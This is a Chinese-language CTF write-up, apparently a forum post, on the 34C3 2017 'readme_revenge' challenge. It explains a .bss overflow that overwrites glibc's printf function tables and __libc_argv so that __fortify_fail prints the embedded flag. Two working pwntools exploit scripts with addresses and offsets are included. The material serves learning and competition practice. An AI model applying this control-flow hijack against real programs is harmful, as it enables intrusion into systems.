首页
社区
课程
招聘
[分享]readme_revenge - 34C3 2017 CTF
2017-12-31 15:06 5300

[分享]readme_revenge - 34C3 2017 CTF

2017-12-31 15:06
5300
 

比赛时间没有做出来, 只能赛后看大师傅们的 WP学习一波

Analysis

$ file readme_revenge
readme_revenge: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=2f27d1b57237d1ab23f8d0fc3cd418994c5b443d, not stripped

main函数如下:

namebss段的0x6B73E0地址处. 程序是静态链接的, 所以我们可以一直向后溢出, 覆写掉后面的libc的指针, 从而尝试控制执行流.

Control EIP

尝试输入很大的字符串, 程序会出错

python -c "print 'a'*0x700" | ./readme_revenge


程序断在在0x45ad64处出了错, 在IDA里可看到这个错误是因为内存非法访问导致的, __printf_modifier_table已经被我们溢出为了0x6161616161616161, 在下方的cmp处比较时, 因为该内存地址不可访问导致了错误, 我们可以通过更改__printf_modifier_table的值来绕过这个错误.

比较有趣的点是这段代码后不远处的一段代码, 可以看到这里有一个call rax, 而rax的来自于以__printf_arginfo_table为基址, 加上一个偏移后的地址中取出的一个值, 而__printf_modifier_table__printf_function_tableprintf_arginfo_table都处于我们可控的位置, 所以只要精心调整我们的输入就可能有机会劫持控制流(事实证明确实可以)

from pwn import *

DEBUG = 1
if DEBUG:
    p = process('./readme_revenge')
else:
    p = remote('', )

name = 0x6B73E0

def pwn():
    data = p64(0xdeadbeef)
    data = data.ljust(0x650, 'a') + p64(0)
    data = data.ljust(0x6c8,'a') + p64(name-0x73*8)
    p.sendline(data)
    p.interactive()

if __name__ == '__main__':
    pwn()

Get flag

比赛时间只做到了这里, 和队友都以为是要劫持栈到可控位置, 然后ROP, 然而最后也没有成功, 看WP才知道原来flag已经在程序中了, 只需要想办法打印出来即可, 当时还真没看到:)

$ strings readme_revenge | grep 34C3
34C3_XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

我们现在已经可以控制EIP了, 此时我们可以调用__fortify_fail函数, 这个函数会打印当前程序的名称(__libc_argv的第一个元素). 所以只要使__libc_argv的第一个元素指向flag的地址就可以打印出flag

exploit如下:

from pwn import *

DEBUG = 1
if DEBUG:
    p = process('./readme_revenge')
else:
    p = remote('', )

name = 0x6B73E0
flag_addr = 0x6B4040
stack_chk_fail = 0x4359BB

def pwn():
    data = p64(stack_chk_fail) + p64(flag_addr)
    data = data.ljust(0x5a0, 'a') + p64(name+0x8)#_libc_argv
    data = data.ljust(0x650, 'a') + p64(0)
    data = data.ljust(0x6c8,'a') + p64(name-0x73*8)
    p.sendline(data)
    p.interactive()

if __name__ == '__main__':
    pwn()

看了师傅的文章发现自己文章写的太粗糙了,有很多细节没有写清楚,以后会多加注意,多谢师傅的提醒。附上师傅文章的链接:[原创]readme-revenge details

Reference

[1] readme_revenge - 34C3 2017 CTF
[2] Pwning (sometimes) with style


[培训]内核驱动高级班,冲击BAT一流互联网大厂工 作,每周日13:00-18:00直播授课

收藏
点赞1
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回